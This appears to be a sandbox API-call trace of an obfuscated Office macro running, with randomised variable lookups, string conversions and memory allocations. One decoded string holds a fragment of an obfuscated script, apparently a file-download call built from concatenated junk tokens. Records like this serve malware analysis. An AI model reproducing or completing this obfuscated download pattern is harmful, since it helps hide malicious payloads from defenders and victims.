[0018.530] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.530] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_lJEHnP", lHashVal=0x1029be, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.530] IUnknown:Release (This=0x7345930) returned 0x7 [0018.530] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.530] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_lJEHnP", lHashVal=0x1029be, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.530] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.530] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.530] IUnknown:Release (This=0x7919520) returned 0xd [0018.530] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.530] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xa2d0000 [0018.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c94, cbMultiByte=10, lpWideCharStr=0xa2d0184, cchWideChar=22 | out: lpWideCharStr="mHmzMbMVpC") returned 10 [0018.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60cae, cbMultiByte=10, lpWideCharStr=0xa2d05ce, cchWideChar=22 | out: lpWideCharStr="DuOfMzWfJC") returned 10 [0018.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60cc2, cbMultiByte=10, lpWideCharStr=0xa2d0778, cchWideChar=22 | out: lpWideCharStr="haVYISvOaX") returned 10 [0018.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60cd6, cbMultiByte=10, lpWideCharStr=0xa2d0922, cchWideChar=22 | out: lpWideCharStr="qCvCAdSQvv") returned 10 [0018.531] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb50eb0 [0018.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60cea, cbMultiByte=10, lpWideCharStr=0xa2d0acc, cchWideChar=22 | out: lpWideCharStr="PJzZistjvV") returned 10 [0018.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60cfe, cbMultiByte=10, lpWideCharStr=0xa2d0c76, cchWideChar=22 | out: lpWideCharStr="TkkWIMmNot") returned 10 [0018.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d12, cbMultiByte=10, lpWideCharStr=0xa2d0e20, cchWideChar=22 | out: lpWideCharStr="fzuSMAzMfi") returned 10 [0018.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d26, cbMultiByte=10, lpWideCharStr=0xa2d0fca, cchWideChar=22 | out: lpWideCharStr="fFkOnXcvqQ") returned 10 [0018.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fwABq") returned 0x1026f6 [0018.533] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="fwABq" | out: _Dst="fwABq") returned 0x0 [0018.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="fwABq") returned 6 [0018.533] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.533] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="fwABq", lHashVal=0x1026f6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.533] IUnknown:Release (This=0x7919520) returned 0xd [0018.533] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.533] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="fwABq", lHashVal=0x1026f6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.533] IUnknown:Release (This=0x7346470) returned 0xb [0018.533] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.533] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="fwABq", lHashVal=0x1026f6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.533] IUnknown:Release (This=0x7345930) returned 0x7 [0018.533] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.533] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="fwABq", lHashVal=0x1026f6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.533] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.533] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_fwABq") returned 0x10eb22 [0018.533] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_fwABq" | out: _Dst="_B_var_fwABq") returned 0x0 [0018.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_fwABq") returned 13 [0018.533] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.533] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_fwABq", lHashVal=0x10eb22, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.533] IUnknown:Release (This=0x7919520) returned 0xd [0018.533] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.533] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_fwABq", lHashVal=0x10eb22, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.533] IUnknown:Release (This=0x7346470) returned 0xb [0018.533] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.533] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_fwABq", lHashVal=0x10eb22, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.533] IUnknown:Release (This=0x7345930) returned 0x7 [0018.533] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.533] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_fwABq", lHashVal=0x10eb22, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.533] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.533] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.533] IUnknown:Release (This=0x7919520) returned 0xd [0018.533] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d44, cbMultiByte=10, lpWideCharStr=0xa2d343c, cchWideChar=22 | out: lpWideCharStr="kRXMbnIOCa") returned 10 [0018.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d5e, cbMultiByte=10, lpWideCharStr=0xa2d3886, cchWideChar=22 | out: lpWideCharStr="BZcXAljImq") returned 10 [0018.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d72, cbMultiByte=10, lpWideCharStr=0xa2d3a30, cchWideChar=22 | out: lpWideCharStr="raAwjkicIC") returned 10 [0018.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d86, cbMultiByte=10, lpWideCharStr=0xa2d3bda, cchWideChar=22 | out: lpWideCharStr="fEjzGpYdiQ") returned 10 [0018.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60d9a, cbMultiByte=10, lpWideCharStr=0xa2d3d84, cchWideChar=22 | out: lpWideCharStr="sTAHwMwvGO") returned 10 [0018.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60dae, cbMultiByte=10, lpWideCharStr=0xa2d3f2e, cchWideChar=22 | out: lpWideCharStr="kFWfZJQYdq") returned 10 [0018.534] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcac0000 [0018.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60dc2, cbMultiByte=10, lpWideCharStr=0xcac0104, cchWideChar=22 | out: lpWideCharStr="JfGzuwqfQK") returned 10 [0018.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60dd6, cbMultiByte=10, lpWideCharStr=0xcac02ae, cchWideChar=22 | out: lpWideCharStr="MFZWzYZsAX") returned 10 [0018.535] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb51100 [0018.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RjAaIhHATzq") returned 0x10d8df [0018.536] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="RjAaIhHATzq" | out: _Dst="RjAaIhHATzq") returned 0x0 [0018.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="RjAaIhHATzq") returned 12 [0018.536] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.536] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="RjAaIhHATzq", lHashVal=0x10d8df, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.536] IUnknown:Release (This=0x7919520) returned 0xd [0018.536] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.536] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="RjAaIhHATzq", lHashVal=0x10d8df, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.536] IUnknown:Release (This=0x7346470) returned 0xb [0018.536] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.536] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="RjAaIhHATzq", lHashVal=0x10d8df, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.536] IUnknown:Release (This=0x7345930) returned 0x7 [0018.536] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.536] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="RjAaIhHATzq", lHashVal=0x10d8df, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.536] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.536] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_RjAaIhHATzq") returned 0x10bac0 [0018.536] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_RjAaIhHATzq" | out: _Dst="_B_var_RjAaIhHATzq") returned 0x0 [0018.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_RjAaIhHATzq") returned 19 [0018.536] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.536] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_RjAaIhHATzq", lHashVal=0x10bac0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.536] IUnknown:Release (This=0x7919520) returned 0xd [0018.536] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.536] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_RjAaIhHATzq", lHashVal=0x10bac0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.536] IUnknown:Release (This=0x7346470) returned 0xb [0018.536] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.536] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_RjAaIhHATzq", lHashVal=0x10bac0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.536] IUnknown:Release (This=0x7345930) returned 0x7 [0018.537] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.537] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_RjAaIhHATzq", lHashVal=0x10bac0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.537] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.537] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.537] IUnknown:Release (This=0x7919520) returned 0xd [0018.537] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60df4, cbMultiByte=166, lpWideCharStr=0xcac2720, cchWideChar=334 | out: lpWideCharStr="nfTlZ9LvhJN7File(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpIn2Fcc3A8cfQpXQRwEnuiL3H") returned 166 [0018.537] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.537] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.537] IUnknown:Release (This=0x7919520) returned 0xd [0018.537] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LaFNnZb") returned 0x1065b3 [0018.537] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="LaFNnZb" | out: _Dst="LaFNnZb") returned 0x0 [0018.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="LaFNnZb") returned 8 [0018.537] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.537] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LaFNnZb", lHashVal=0x1065b3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.537] IUnknown:Release (This=0x7919520) returned 0xd [0018.537] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.537] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LaFNnZb", lHashVal=0x1065b3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.537] IUnknown:Release (This=0x7346470) returned 0xb [0018.537] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.537] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LaFNnZb", lHashVal=0x1065b3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.537] IUnknown:Release (This=0x7345930) returned 0x7 [0018.537] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.537] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LaFNnZb", lHashVal=0x1065b3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.537] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.537] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_LaFNnZb") returned 0x106937 [0018.537] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_LaFNnZb" | out: _Dst="_B_var_LaFNnZb") returned 0x0 [0018.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_LaFNnZb") returned 15 [0018.537] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.537] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LaFNnZb", lHashVal=0x106937, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.538] IUnknown:Release (This=0x7919520) returned 0xd [0018.538] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.538] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LaFNnZb", lHashVal=0x106937, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.538] IUnknown:Release (This=0x7346470) returned 0xb [0018.538] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.538] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LaFNnZb", lHashVal=0x106937, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.538] IUnknown:Release (This=0x7345930) returned 0x7 [0018.538] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.538] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LaFNnZb", lHashVal=0x106937, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.538] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.538] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.538] IUnknown:Release (This=0x7919520) returned 0xd [0018.538] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60eb4, cbMultiByte=10, lpWideCharStr=0xcac358a, cchWideChar=22 | out: lpWideCharStr="ZPSEEGSZuo") returned 10 [0018.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60ece, cbMultiByte=10, lpWideCharStr=0xcac39d4, cchWideChar=22 | out: lpWideCharStr="rFbBPROfMh") returned 10 [0018.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60ee2, cbMultiByte=10, lpWideCharStr=0xcac3b7e, cchWideChar=22 | out: lpWideCharStr="tjANqNzWik") returned 10 [0018.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60ef6, cbMultiByte=10, lpWideCharStr=0xcac3d28, cchWideChar=22 | out: lpWideCharStr="jqXYTPfqNG") returned 10 [0018.538] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb51350 [0018.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f0a, cbMultiByte=10, lpWideCharStr=0xcac3ed2, cchWideChar=22 | out: lpWideCharStr="hZSrrZdiwV") returned 10 [0018.539] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcad0000 [0018.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f1e, cbMultiByte=10, lpWideCharStr=0xcad00a4, cchWideChar=22 | out: lpWideCharStr="JwiIWtOFNq") returned 10 [0018.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f32, cbMultiByte=10, lpWideCharStr=0xcad024e, cchWideChar=22 | out: lpWideCharStr="GwqJEAiDiz") returned 10 [0018.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f46, cbMultiByte=10, lpWideCharStr=0xcad03f8, cchWideChar=22 | out: lpWideCharStr="mYSGATNJWQ") returned 10 [0018.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nziIw") returned 0x10f8e9 [0018.540] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="nziIw" | out: _Dst="nziIw") returned 0x0 [0018.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="nziIw") returned 6 [0018.540] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.540] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="nziIw", lHashVal=0x10f8e9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.540] IUnknown:Release (This=0x7919520) returned 0xd [0018.540] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.540] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="nziIw", lHashVal=0x10f8e9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.540] IUnknown:Release (This=0x7346470) returned 0xb [0018.540] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.540] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="nziIw", lHashVal=0x10f8e9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.540] IUnknown:Release (This=0x7345930) returned 0x7 [0018.540] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.540] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="nziIw", lHashVal=0x10f8e9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.540] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.541] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_nziIw") returned 0x10bcd6 [0018.541] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_nziIw" | out: _Dst="_B_var_nziIw") returned 0x0 [0018.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_nziIw") returned 13 [0018.541] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.541] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_nziIw", lHashVal=0x10bcd6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.541] IUnknown:Release (This=0x7919520) returned 0xd [0018.541] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.541] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_nziIw", lHashVal=0x10bcd6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.541] IUnknown:Release (This=0x7346470) returned 0xb [0018.541] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.541] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_nziIw", lHashVal=0x10bcd6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.541] IUnknown:Release (This=0x7345930) returned 0x7 [0018.541] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.541] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_nziIw", lHashVal=0x10bcd6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.541] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.541] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.541] IUnknown:Release (This=0x7919520) returned 0xd [0018.541] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f64, cbMultiByte=10, lpWideCharStr=0xcad286a, cchWideChar=22 | out: lpWideCharStr="oiWtSZhDXw") returned 10 [0018.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f7e, cbMultiByte=10, lpWideCharStr=0xcad2cb4, cchWideChar=22 | out: lpWideCharStr="YzAsGMNBNB") returned 10 [0018.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60f92, cbMultiByte=10, lpWideCharStr=0xcad2e5e, cchWideChar=22 | out: lpWideCharStr="VQivBifAiB") returned 10 [0018.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60fa6, cbMultiByte=10, lpWideCharStr=0xcad3008, cchWideChar=22 | out: lpWideCharStr="jXYFBaJMhU") returned 10 [0018.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60fba, cbMultiByte=10, lpWideCharStr=0xcad31b2, cchWideChar=22 | out: lpWideCharStr="PnHTlMFhPk") returned 10 [0018.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60fce, cbMultiByte=10, lpWideCharStr=0xcad335c, cchWideChar=22 | out: lpWideCharStr="KYfwCXEbsn") returned 10 [0018.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60fe2, cbMultiByte=10, lpWideCharStr=0xcad3506, cchWideChar=22 | out: lpWideCharStr="uhVWNAbuqf") returned 10 [0018.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60ff6, cbMultiByte=10, lpWideCharStr=0xcad36b0, cchWideChar=22 | out: lpWideCharStr="DBTsmhJKJo") returned 10 [0018.542] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb515a0 [0018.542] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcae0000 [0018.555] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wAPIwOIbK") returned 0x108a6a [0018.555] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="wAPIwOIbK" | out: _Dst="wAPIwOIbK") returned 0x0 [0018.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="wAPIwOIbK") returned 10 [0018.555] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.555] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wAPIwOIbK", lHashVal=0x108a6a, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.555] IUnknown:Release (This=0x7919520) returned 0xd [0018.555] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.555] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wAPIwOIbK", lHashVal=0x108a6a, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.555] IUnknown:Release (This=0x7346470) returned 0xb [0018.555] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.555] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wAPIwOIbK", lHashVal=0x108a6a, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.556] IUnknown:Release (This=0x7345930) returned 0x7 [0018.556] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.556] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wAPIwOIbK", lHashVal=0x108a6a, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.556] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.556] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.556] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_wAPIwOIbK") returned 0x1093af [0018.556] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_wAPIwOIbK" | out: _Dst="_B_var_wAPIwOIbK") returned 0x0 [0018.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_wAPIwOIbK") returned 17 [0018.556] 